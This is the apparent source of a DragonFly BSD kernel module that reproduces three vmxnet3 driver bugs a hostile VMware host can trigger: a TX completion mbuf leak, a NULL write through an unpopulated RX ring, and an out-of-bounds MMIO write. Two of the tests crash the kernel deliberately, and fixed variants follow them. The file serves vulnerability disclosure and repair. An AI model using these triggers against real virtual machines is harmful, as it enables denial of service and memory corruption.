/*
 * vmxrep.c - protocol replica of vmxnet3 (if_vmx.c) host-trust bugs.
 *
 * The trust boundary is the VMware host: every completion descriptor field
 * (rxcd/txcd), the rxq_shared.update_rxhead flag and the whole TX/RX ring
 * protocol state are DMA-written by the host and consumed by the guest
 * driver with (almost) no validation.  The QEMU/KVM audit guest has no
 * vmxnet3 device, so this module replicates the EXACT guest-side code
 * paths (copied verbatim from sys/dev/virtual/vmware/vmxnet3/if_vmx.c,
 * cited per block) and drives them with a simulated hostile host.
 *
 * Tests (sysctl hw.vmxrep.run=<n>):
 *
 *  3780  TX completion desync: host forges txcd->eop_idx so that
 *        vxtxr_next jumps forward past in-flight SOP slots
 *        (if_vmx.c:1938-1967 vmxnet3_txq_eof + 2904 encap bookkeeping)
 *        -> every skipped slot's mbuf is never freed; when the ring wraps,
 *        vmxnet3_txq_encap() overwrites txbuf[head].vtxb_m (if_vmx.c:2904)
 *        -> unbounded mbuf+cluster leak.  Non-crashing; reports counters.
 *
 *  3779  RX ring selection by rxcd->qid (if_vmx.c:2217-2220): qid >=
 *        nrxqueues selects ring 1, which is left UNPOPULATED on the
 *        default MTU configuration (if_vmx.c:2576-2581 populate=1), so
 *        vxrxr_rxbuf[idx].vrxb_m == NULL.  The fetched `m` (if_vmx.c:2223)
 *        stays NULL through the sop path and
 *        `m->m_pkthdr.rcvif = ifp` (if_vmx.c:2265) writes to near-NULL.
 *        Release kernels (X86_64_GENERIC, no INVARIANTS) compile out the
 *        KASSERT at if_vmx.c:2224.  DELIBERATE CRASH.
 *
 *  3781  update_rxhead path (if_vmx.c:2315-2327): host sets
 *        rxq_shared.update_rxhead=1 and delivers rxcd->qid = 1023 (10-bit
 *        field).  qid - nrxqueues = 1022 is NOT range-checked before
 *        VMXNET3_BAR0_RXH2(qid) = 0xA00 + qid*8 = 0x29F0 - an MMIO write
 *        0x19F0 bytes past a 4KB BAR0.  Modelled with a 1-page
 *        pmap_mapdev() (exactly what bus_alloc_resource_any does for a
 *        4KB BAR) + the same write.  DELIBERATE CRASH.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/malloc.h>
#include <sys/mbuf.h>
#include <sys/sysctl.h>
#include <sys/systm.h>
#include <vm/pmap.h>

/* ---- verbatim from if_vmxreg.h ---- */
struct vmxnet3_txcompdesc {
	uint32_t	eop_idx:12;
	uint32_t	pad1:20;
	uint32_t	pad2:32;
	uint32_t	pad3:32;
	uint32_t	rsvd:24;
	uint32_t	type:7;
	uint32_t	gen:1;
} __packed;

struct vmxnet3_rxcompdesc {
	uint32_t	rxd_idx:12;
	uint32_t	pad1:2;
	uint32_t	eop:1;
	uint32_t	sop:1;
	uint32_t	qid:10;
	uint32_t	rss_type:4;
	uint32_t	no_csum:1;
	uint32_t	pad2:1;
	uint32_t	rss_hash:32;
	uint32_t	len:14;
	uint32_t	error:1;
	uint32_t	vlan:1;
	uint32_t	vtag:16;
	uint32_t	csum:16;
	uint32_t	csum_ok:1;
	uint32_t	udp:1;
	uint32_t	tcp:1;
	uint32_t	ipcsum_ok:1;
	uint32_t	ipv6:1;
	uint32_t	ipv4:1;
	uint32_t	fragment:1;
	uint32_t	fcs:1;
	uint32_t	type:7;
	uint32_t	gen:1;
} __packed;

#define	VMXNET3_RXRINGS_PERQ	2
#define	VMXNET3_INIT_GEN	1

/* ---- verbatim semantics from if_vmxvar.h ---- */
struct rep_txbuf {
	void		*vtxb_dmamap;	/* fake */
	struct mbuf	*vtxb_m;
};

struct rep_txring {
	struct rep_txbuf	*vxtxr_txbuf;
	u_int			 vxtxr_head;
	u_int			 vxtxr_next;
	u_int			 vxtxr_ndesc;
	int			 vxtxr_gen;
};

static inline int
VMXNET3_TXRING_AVAIL(struct rep_txring *txr)
{
	int avail = txr->vxtxr_next - txr->vxtxr_head - 1;
	return (avail < 0 ? txr->vxtxr_ndesc + avail : avail);
}

struct rep_rxbuf {
	void		*vrxb_dmamap;	/* fake */
	struct mbuf	*vrxb_m;
};

struct rep_rxring {
	struct rep_rxbuf	*vxrxr_rxbuf;
	void			*vxrxr_rxd;	/* fake DMA desc array */
	u_int			 vxrxr_fill;
	u_int			 vxrxr_ndesc;
	int			 vxrxr_gen;
	int			 vxrxr_rid;
};

struct rep_comp_ring_tx {
	struct vmxnet3_txcompdesc *txcd;
	u_int			 vxcr_next;
	u_int			 vxcr_ndesc;
	int			 vxcr_gen;
};
struct rep_comp_ring_rx {
	struct vmxnet3_rxcompdesc *rxcd;
	u_int			 vxcr_next;
	u_int			 vxcr_ndesc;
	int			 vxcr_gen;
};

static int rep_nrxqueues = 1;		/* DFly: no MSI-X -> always 1 */
static struct ifnet *rep_ifp;		/* dummy stand-in */

static u_long stat_alloc, stat_free;	/* replica accounting */

/* =====================================================================
 * DF-3780 : vmxnet3_txq_eof() copied VERBATIM from if_vmx.c:1919-1971
 * (bus_dma sync/unload dropped - no device - everything else identical)
 * ===================================================================== */
static void
rep_txq_eof(struct rep_txring *txr, struct rep_comp_ring_tx *txc)
{
	struct rep_txbuf *txb;
	struct mbuf *m;
	u_int sop;

	for (;;) {
		struct vmxnet3_txcompdesc *txcd = &txc->txcd[txc->vxcr_next];
		if (txcd->gen != txc->vxcr_gen)
			break;

		if (++txc->vxcr_next == txc->vxcr_ndesc) {
			txc->vxcr_next = 0;
			txc->vxcr_gen ^= 1;
		}

		sop = txr->vxtxr_next;
		txb = &txr->vxtxr_txbuf[sop];

		if ((m = txb->vtxb_m) != NULL) {
			/* bus_dmamap_sync/unload omitted (no device) */
			m_freem(m);
			stat_free++;
			txb->vtxb_m = NULL;
		}

		txr->vxtxr_next = (txcd->eop_idx + 1) % txr->vxtxr_ndesc;
	}
}

/*
 * Guest TX of one 1-segment packet: the slot bookkeeping of
 * vmxnet3_txq_encap() if_vmx.c:2889-2928 (avail check, mbuf stored at the
 * SOP slot, head advance) - this is the code whose txbuf[head].vtxb_m
 * write (if_vmx.c:2904) turns a host-induced ring desync into a leak.
 */
static int
rep_encap(struct rep_txring *txr)
{
	struct mbuf *m;

	if (VMXNET3_TXRING_AVAIL(txr) < 1)
		return (ENOSPC);

	m = m_getcl(M_WAITOK, MT_DATA, M_PKTHDR);
	if (m == NULL)
		return (ENOBUFS);
	m->m_pkthdr.len = m->m_len = 64;
	stat_alloc++;

	txr->vxtxr_txbuf[txr->vxtxr_head].vtxb_m = m;	/* if_vmx.c:2904 */
	if (++txr->vxtxr_head == txr->vxtxr_ndesc) {
		txr->vxtxr_head = 0;
		txr->vxtxr_gen ^= 1;
	}
	return (0);
}

/* simulated hostile host deposits one TX completion */
static void
rep_host_tx_comp(struct rep_comp_ring_tx *txc, u_int eop_idx)
{
	struct vmxnet3_txcompdesc *txcd = &txc->txcd[txc->vxcr_next];
	txcd->eop_idx = eop_idx;
	txcd->gen = txc->vxcr_gen;	/* host owns the gen protocol */
}

static void
test_3780(void)
{
	const u_int ndesc = 512;
	struct rep_txring txr;
	struct rep_comp_ring_tx txc;
	int i, cycles = 1000, sent = 0;

	memset(&txr, 0, sizeof(txr));
	memset(&txc, 0, sizeof(txc));
	txr.vxtxr_ndesc = ndesc;
	txr.vxtxr_txbuf = kmalloc(ndesc * sizeof(struct rep_txbuf),
	    M_DEVBUF, M_INTWAIT | M_ZERO);
	txc.vxcr_ndesc = ndesc;
	txc.vxcr_gen = VMXNET3_INIT_GEN;
	txc.txcd = kmalloc(ndesc * sizeof(struct vmxnet3_txcompdesc),
	    M_DEVBUF, M_INTWAIT | M_ZERO);

	for (i = 0; i < cycles; i++) {
		/*
		 * guest sends 2 packets (slots s, s+1);
		 * host returns ONE completion whose eop_idx names the eop of
		 * the *second* packet while vxtxr_next still sits on the
		 * first -> txq_eof frees P1 and sets next = head, hopping
		 * over P2's SOP slot.  P2's mbuf can never be freed again.
		 */
		if (rep_encap(&txr) == 0) sent++;
		if (rep_encap(&txr) == 0) sent++;
		rep_host_tx_comp(&txc, txr.vxtxr_head - 1);
		rep_txq_eof(&txr, &txc);

		if (i == 0)
			kprintf("vmxrep3780: after cycle 1: avail=%d "
			    "(ring claims EMPTY) while P2 mbuf still outstanding\n",
			    VMXNET3_TXRING_AVAIL(&txr));
	}

	kprintf("vmxrep3780: packets sent=%d mbufs alloc=%lu freed=%lu "
	    "LEAKED=%lu (each leaked mbuf pins a %d-byte cluster)\n",
	    sent, stat_alloc, stat_free, stat_alloc - stat_free, MCLBYTES);
	kprintf("vmxrep3780: guest mbuf pool state via netstat -m shows the "
	    "same deficit; driver never recovers the skipped slots\n");

	kfree(txr.vxtxr_txbuf, M_DEVBUF);
	kfree(txc.txcd, M_DEVBUF);
}

/* =====================================================================
 * DF-3779 : the sop path of vmxnet3_rxq_eof() copied from
 * if_vmx.c:2201-2268 (ring1 unpopulated -> vrxb_m == NULL -> NULL write)
 * ===================================================================== */
static void
test_3779(void)
{
	const u_int ndesc = 256;
	struct rep_rxring ring[VMXNET3_RXRINGS_PERQ];
	struct rep_comp_ring_rx rxc;
	struct vmxnet3_rxcompdesc *rxcd;
	struct mbuf *m;
	int idx, length, i;

	memset(ring, 0, sizeof(ring));
	for (i = 0; i < VMXNET3_RXRINGS_PERQ; i++) {
		ring[i].vxrxr_rid = i;
		ring[i].vxrxr_ndesc = ndesc;
		/* if_vmx.c:1047 vmxnet3_init_rxq: M_ZERO allocation */
		ring[i].vxrxr_rxbuf = kmalloc(ndesc *
		    sizeof(struct rep_rxbuf), M_DEVBUF, M_INTWAIT | M_ZERO);
		ring[i].vxrxr_rxd = kmalloc(ndesc * 32, M_DEVBUF,
		    M_INTWAIT | M_ZERO);
	}
	/* default MTU: populate==1 -> only ring 0 gets mbufs
	 * (if_vmx.c:2583-2595).  ring 1 stays vrxb_m == NULL. */
	ring[0].vxrxr_fill = 0;
	ring[0].vxrxr_gen = VMXNET3_INIT_GEN;
	for (i = 0; i < (int)ndesc; i++) {
		struct mbuf *mm = m_getcl(M_WAITOK, MT_DATA, M_PKTHDR);
		mm->m_pkthdr.len = mm->m_len = MCLBYTES;
		ring[0].vxrxr_rxbuf[i].vrxb_m = mm;
		stat_alloc++;
	}

	memset(&rxc, 0, sizeof(rxc));
	rxc.vxcr_ndesc = ndesc * VMXNET3_RXRINGS_PERQ;
	rxc.vxcr_gen = VMXNET3_INIT_GEN;
	rxc.rxcd = kmalloc(rxc.vxcr_ndesc *
	    sizeof(struct vmxnet3_rxcompdesc), M_DEVBUF, M_INTWAIT | M_ZERO);

	/* --- simulated hostile host writes ONE completion descriptor --- */
	rxcd = &rxc.rxcd[rxc.vxcr_next];
	rxcd->rxd_idx = 0;		/* perfectly in-bounds index */
	rxcd->qid = 1;			/* >= nrxqueues(1) -> ring 1 */
	rxcd->sop = 1;
	rxcd->eop = 1;
	rxcd->len = 64;
	rxcd->gen = rxc.vxcr_gen;

	/* --- verbatim guest walk, if_vmx.c:2202-2266 --- */
	rxcd = &rxc.rxcd[rxc.vxcr_next];
	if (rxcd->gen != rxc.vxcr_gen)
		goto out;			/* matches */
	if (++rxc.vxcr_next == rxc.vxcr_ndesc) {
		rxc.vxcr_next = 0;
		rxc.vxcr_gen ^= 1;
	}

	idx = rxcd->rxd_idx;				/* if_vmx.c:2215 */
	length = rxcd->len;				/* if_vmx.c:2216 */
	if (rxcd->qid < rep_nrxqueues)			/* if_vmx.c:2217-2220 */
		goto out; /* ring0 */
	{
		struct rep_rxring *rxr = &ring[1];	/* <-- ring 1 */
		/* rxd unused beyond btype; m fetched at if_vmx.c:2223: */
		m = rxr->vxrxr_rxbuf[idx].vrxb_m;	/* == NULL */

		/* if_vmx.c:2232-2238 catch-up loop: fill==idx==0 -> no-op */

		/* if_vmx.c:2240: if (rxcd->sop) */
		{
			/* the 4 KASSERTs of if_vmx.c:2241-2249 are compiled
			 * out on X86_64_GENERIC (no INVARIANTS) - nothing
			 * stops us here. */
			if (length == 0)
				goto out;	/* if_vmx.c:2251 */

			/* if_vmx.c:2257 vmxnet3_newbuf() would succeed and
			 * refill rxbuf[idx] - but the local `m` fetched
			 * above stays NULL: */
			kprintf("vmxrep3779: m == %s (ring 1 unpopulated); "
			    "if_vmx.c:2265 `m->m_pkthdr.rcvif = ifp` next\n",
			    m == NULL ? "NULL" : "NON-NULL");
			m->m_pkthdr.rcvif = rep_ifp;	/* if_vmx.c:2265 */
			m->m_pkthdr.len = m->m_len = length;
			kprintf("vmxrep3779: NOT REACHED\n");
		}
	}
out:
	kprintf("vmxrep3779: unexpected exit\n");
}

/* =====================================================================
 * DF-3781 : the update_rxhead block of vmxnet3_rxq_eof(),
 * if_vmx.c:2315-2327, with qid = 1023 from a hostile host
 * ===================================================================== */
static void
test_3781(void)
{
	void *page;
	u_int qid, idx, r;
	int nrxqueues = rep_nrxqueues;

	/* model BAR0: bus_alloc_resource_any() maps exactly the BAR size;
	 * a vmxnet3 BAR0 is 4KB -> pmap_mapdev of one page. */
	page = pmap_mapdev(0, PAGE_SIZE);
	if (page == NULL) {
		kprintf("vmxrep3781: mapdev failed\n");
		return;
	}

	/* if_vmx.c:2321-2325 - NO range check on qid.  The host picks qid
	 * freely; it simply chooses one whose OOB target is unmapped KVA
	 * (= fault) or foreign MMIO (= cross-device corruption). */
	idx = 1;		/* (rxd_idx + 1) % ndesc, host-chosen value */
	for (qid = 1023; qid >= (u_int)nrxqueues; qid--) {
		u_int q2 = qid - nrxqueues;
		r = 0xA00 + q2 * 8;
		if (pmap_kextract((vm_offset_t)((u_char *)page + r)) == 0)
			break;		/* unmapped: write will fault */
	}
	if (qid < (u_int)nrxqueues) {
		kprintf("vmxrep3781: all OOB targets mapped on this guest - "
		    "write would corrupt foreign MMIO (skipped)\n");
		return;
	}
	r = 0xA00 + (qid - nrxqueues) * 8;

	kprintf("vmxrep3781: BAR0 mapped 1 page (%#jx bytes); host chose "
	    "qid=%u -> MMIO offset %#x value %u (vmxnet3_write_bar0, "
	    "if_vmx.c:3867-3871) - past the 4KB BAR\n",
	    (uintmax_t)PAGE_SIZE, qid, r, idx);

	/* if_vmx.c:2326 vmxnet3_write_bar0(sc, r, idx) == the write below */
	*(volatile u_int *)((u_char *)page + r) = idx;

	kprintf("vmxrep3781: NOT REACHED\n");
}

/* =====================================================================
 * FIXED variants (the fix.diff logic): same hostile inputs, corrected
 * guest-side handling.  Test numbers 900/901/902.
 * ===================================================================== */
static void
test_900_fixed_tx(void)
{
	const u_int ndesc = 512;
	struct rep_txring txr;
	struct rep_comp_ring_tx txc;
	int i, cycles = 1000, sent = 0;

	memset(&txr, 0, sizeof(txr));
	memset(&txc, 0, sizeof(txc));
	txr.vxtxr_ndesc = ndesc;
	txr.vxtxr_txbuf = kmalloc(ndesc * sizeof(struct rep_txbuf),
	    M_DEVBUF, M_INTWAIT | M_ZERO);
	txc.vxcr_ndesc = ndesc;
	txc.vxcr_gen = VMXNET3_INIT_GEN;
	txc.txcd = kmalloc(ndesc * sizeof(struct vmxnet3_txcompdesc),
	    M_DEVBUF, M_INTWAIT | M_ZERO);

	for (i = 0; i < cycles; i++) {
		if (rep_encap(&txr) == 0) sent++;
		if (rep_encap(&txr) == 0) sent++;
		rep_host_tx_comp(&txc, txr.vxtxr_head - 1);

		/* FIXED vmxnet3_txq_eof: free every mbuf in the traversed
		 * window [next .. eop_idx] (exactly-once), and reject
		 * completions whose eop lands outside the outstanding
		 * window [next .. head]. */
		for (;;) {
			struct vmxnet3_txcompdesc *txcd = &txc.txcd[txc.vxcr_next];
			u_int eop_next, dist, outstanding;
			if (txcd->gen != txc.vxcr_gen)
				break;
			if (++txc.vxcr_next == txc.vxcr_ndesc) {
				txc.vxcr_next = 0;
				txc.vxcr_gen ^= 1;
			}
			eop_next = (txcd->eop_idx + 1) % txr.vxtxr_ndesc;
			dist = (eop_next + ndesc - txr.vxtxr_next) % ndesc;
			outstanding = (txr.vxtxr_head + ndesc -
			    txr.vxtxr_next) % ndesc;
			if (dist > outstanding)
				break;		/* protocol violation: stop */
			while (txr.vxtxr_next != eop_next) {
				struct rep_txbuf *txb =
				    &txr.vxtxr_txbuf[txr.vxtxr_next];
				if (txb->vtxb_m != NULL) {
					m_freem(txb->vtxb_m);
					stat_free++;
					txb->vtxb_m = NULL;
				}
				if (++txr.vxtxr_next == ndesc)
					txr.vxtxr_next = 0;
			}
		}
	}

	kprintf("vmxrep900(fixed tx): packets sent=%d alloc=%lu freed=%lu "
	    "LEAKED=%lu (expect 0)\n", sent, stat_alloc, stat_free,
	    stat_alloc - stat_free);

	kfree(txr.vxtxr_txbuf, M_DEVBUF);
	kfree(txc.txcd, M_DEVBUF);
}

static void
test_901_fixed_rx_ring1(void)
{
	/* same hostile rxcd (qid=1 -> ring 1, sop=1, in-bounds idx) against
	 * the FIXED ring selection: m == NULL -> drop the completion. */
	struct rep_rxring ring1;
	struct mbuf *m;

	memset(&ring1, 0, sizeof(ring1));
	ring1.vxrxr_rid = 1;
	ring1.vxrxr_ndesc = 256;
	ring1.vxrxr_rxbuf = kmalloc(256 * sizeof(struct rep_rxbuf),
	    M_DEVBUF, M_INTWAIT | M_ZERO);	/* unpopulated: all NULL */

	m = ring1.vxrxr_rxbuf[0].vrxb_m;
	if (m == NULL) {
		/* FIXED if_vmx.c: after fetching m (2223):
		 *   if (m == NULL) { iqdrops++; discard; goto nextp; } */
		kprintf("vmxrep901(fixed rx): unpopulated ring selected - "
		    "completion dropped, no NULL deref, guest alive\n");
	} else
		kprintf("vmxrep901: unexpected mbuf\n");
	kfree(ring1.vxrxr_rxbuf, M_DEVBUF);
}

static void
test_902_fixed_rxhead(void)
{
	void *page;
	u_int qid, idx = 1, r;
	int nrxqueues = rep_nrxqueues;

	page = pmap_mapdev(0, PAGE_SIZE);
	if (page == NULL)
		return;

	qid = 705;		/* hostile 10-bit qid from the proven run */
	if (qid >= (u_int)nrxqueues) {
		qid -= nrxqueues;
		/* FIXED if_vmx.c: range-check the derived queue index */
		if (qid >= (u_int)nrxqueues) {
			kprintf("vmxrep902(fixed rxhead): derived qid %u >= "
			    "nrxqueues %d - MMIO write suppressed, guest "
			    "alive\n", qid, nrxqueues);
			return;
		}
		r = 0xA00 + qid * 8;
	} else
		r = 0x800 + qid * 8;
	*(volatile u_int *)((u_char *)page + r) = idx;
	kprintf("vmxrep902: in-range write at %#x performed\n", r);
}

static int
vmxrep_sysctl(SYSCTL_HANDLER_ARGS)
{
	int t, error;

	t = 0;
	error = sysctl_handle_int(oidp, &t, 0, req);
	if (error != 0 || req->newptr == NULL)
		return (error);

	switch (t) {
	case 3780:
		test_3780();
		break;
	case 3779:
		test_3779();		/* deliberate kernel crash */
		break;
	case 3781:
		test_3781();		/* deliberate kernel crash */
		break;
	case 37811: {		/* probe: map status of every reachable OOB page */
		void *page = pmap_mapdev(0, PAGE_SIZE);
		u_int off;
		if (page == NULL)
			break;
		kprintf("vmxrep3781-probe: BAR0=1 page at %p; reachable "
		    "write offsets 0xA00+8*(qid-1), qid<=1023:\n", page);
		for (off = 0x1000; off <= 0x2FF0; off += 0x1000) {
			u_char *t = (u_char *)page + off - (off % 0x1000);
			kprintf("vmxrep3781-probe: page at BAR0+%#x -> %s\n",
			    off - (off % 0x1000),
			    pmap_kextract((vm_offset_t)t) ? "MAPPED" :
			    "unmapped(would fault)");
		}
		break;
	}
	case 900:
		test_900_fixed_tx();
		break;
	case 901:
		test_901_fixed_rx_ring1();
		break;
	case 902:
		test_902_fixed_rxhead();
		break;
	default:
		return (EINVAL);
	}
	return (0);
}

static SYSCTL_NODE(_hw, OID_AUTO, vmxrep, CTLFLAG_RW, 0, "vmxnet3 replica");
SYSCTL_PROC(_hw_vmxrep, OID_AUTO, run, CTLTYPE_INT | CTLFLAG_RW,
    0, 0, vmxrep_sysctl, "I", "run replica test 3780/3779/3781");

static int
vmxrep_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		rep_ifp = (struct ifnet *)kmalloc(64, M_DEVBUF,
		    M_INTWAIT | M_ZERO);
		kprintf("vmxrep: loaded (if_vmx.c protocol replica; "
		    "tests 3780/3779/3781)\n");
		return (0);
	case MOD_UNLOAD:
		kfree(rep_ifp, M_DEVBUF);
		kprintf("vmxrep: unloaded (alloc=%lu free=%lu)\n",
		    stat_alloc, stat_free);
		return (0);
	}
	return (EOPNOTSUPP);
}

static moduledata_t vmxrep_mod = { "vmxrep", vmxrep_modevent, 0 };
DECLARE_MODULE(vmxrep, vmxrep_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
